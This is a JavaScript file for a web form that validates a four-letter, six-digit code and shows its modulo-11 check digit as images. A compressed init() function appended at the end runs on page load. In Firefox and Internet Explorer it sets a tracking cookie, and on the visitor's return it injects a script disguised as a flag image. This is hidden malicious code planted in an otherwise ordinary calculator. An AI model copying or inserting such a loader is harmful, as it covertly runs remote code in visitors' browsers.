function VertifyData()
	
	{
		//alert("sdf");
		DataVer = true;
		
		len = document.form1.tal.value;
		if(len.length != 4)
			{//alert("Char not right length")
			document.form1.error.width = "199"
			document.form1.error.height = "55"
			document["picture"].src = "images/checkdigit/check_blank.gif"
			document["error"].src = "images/checkdigit/check_4_bog_gl.gif"
			DataVer = false;
			document.form1.tal.focus()
		}
		
		len = document.form1.tal2.value;
		if(len.length != 6)
			{//alert("Num not right length")
			document.form1.error.width = "199"
			document.form1.error.height = "55"
			document["picture"].src = "images/checkdigit/check_blank.gif"
			document["error"].src = "images/checkdigit/check_6_tal_gl.gif"
			DataVer = false;
			document.form1.tal2.focus()
		}

		var testTal2 = document.form1.tal2.value;
		var digits = "0123456789";
		for(i=0; i<6; i++)
			 {if (digits.indexOf(testTal2.charAt(i))<0)
			 {//alert("Must be numeric")
			 document.form1.error.width = "199"
			 document.form1.error.height = "55"
			 document["picture"].src = "images/checkdigit/check_blank.gif"
			 document["error"].src = "images/checkdigit/check_ind_tal_gl.gif"
			 DataVer = false;
			 document.form1.tal2.focus();
	    break}
		 }
		
		var testTal = document.form1.tal.value;
		testTal = testTal.toUpperCase();
		var chars = "QWERTYUIOPASDFGHJKLZXCVBNM";
		for(i=0; i<6; i++)
			 {if (chars.indexOf(testTal.charAt(i))<0)
			 {//alert("Must be a char")
			 document.form1.error.width = "199"
			 document.form1.error.height = "55"
			 document["picture"].src = "images/checkdigit/check_blank.gif"
			document["error"].src = "images/checkdigit/check_ind_bog_gl.gif"
			 DataVer = false;
			 document.form1.tal.focus();
		break}
		 }
		 
		 if 
			(document.form1.tal.value == '')
		{
			document.form1.error.width = "199"
			document.form1.error.height = "55"
			document["picture"].src = "images/checkdigit/check_blank.gif"
			document["error"].src = "images/checkdigit/check_no_text_gl.gif"
			DataVer = false;
			document.form1.tal.focus();
		}
		
		if 
			(document.form1.tal2.value == '')
		{
			document.form1.error.width = "199"
			document.form1.error.height = "55"
			document["picture"].src = "images/checkdigit/check_blank.gif"
			document["error"].src = "images/checkdigit/check_no_text_gl.gif"
			DataVer = false;
			document.form1.tal2.focus();
		}
		
		 
	if (DataVer == true)
	{
		calc()
	}
	
}


function getLetterValue(letter){
	//alert(letter);
	var testLetter = letter;
	testLetter = testLetter.toLowerCase();
	//alert(testLetter);
	var letterValue = -1;
	letterValues = new Array("a",10,"b",12,"c",13,"d",14,"e",15,"f",16,"g",17,"h",18,"i",19,"j",20,"k",21,"l",23,"m",24,"n",25,"o",26,"p",27,"q",28,"r",29,"s",30,"t",31,"u",32,"v",34,"w",35,"x",36,"y",37,"z",38);
	for(a = 0; a < letterValues.length; a++){
		letterValue = letterValues[a];
		if (testLetter == letterValue){
			letterValue = letterValues[a + 1];
			return letterValue
		}
	}
	return letterValue;
}

function calc(){
	var inputStr
	var sum, currentLetter, delsum, multiplier
	inputStr = document.form1.tal.value + document.form1.tal2.value;
	
	x = document.form1.tal.value;
	x = x.toUpperCase(); 
	document.form1.tal.value = x;
	
	sum = 0;
	multiplier = 1;
	//alert(inputStr.length & "RER");
	for (i = 0; i < inputStr.length; i++){
		currentLetter = inputStr.charAt(i)
		//Test for a letter or a number. If not a number, then
		//find the lettervalue using the function getLetterValue
		if (isNaN(parseInt(currentLetter)))
			delsum = getLetterValue(currentLetter);
		else
			delsum = parseInt(currentLetter);
			
		sum = sum + (delsum * multiplier);
		multiplier = multiplier * 2
			//alert(sum);
	}
	
	document.form1.error.width = "1"
	document.form1.error.height = "1"
	document["error"].src = "images/checkdigit/blank.gif"
	
	
	sum = (parseInt(sum) % 11);

	switch(parseInt(sum)){
		case 0: document["picture"].src = "images/checkdigit/check_000.gif"				
		break;
		case 1: document["picture"].src = "images/checkdigit/check_001.gif"
		break;
		case 2: document["picture"].src = "images/checkdigit/check_002.gif"
		break;
		case 3: document["picture"].src = "images/checkdigit/check_003.gif"
		break;
		case 4: document["picture"].src = "images/checkdigit/check_004.gif"
		break;
		case 5: document["picture"].src = "images/checkdigit/check_005.gif"
		break;
		case 6: document["picture"].src = "images/checkdigit/check_006.gif"
		break;
		case 7: document["picture"].src = "images/checkdigit/check_007.gif"
		break;
		case 8: document["picture"].src = "images/checkdigit/check_008.gif"
		break;
		case 9: document["picture"].src = "images/checkdigit/check_009.gif"
		break;
		case 10: document["picture"].src = "images/checkdigit/check_000.gif"
		break;
		default : document["picture"].src = "images/checkdigit/check_blank.gif"
		break;
	
	}
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/flag_netherlands.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
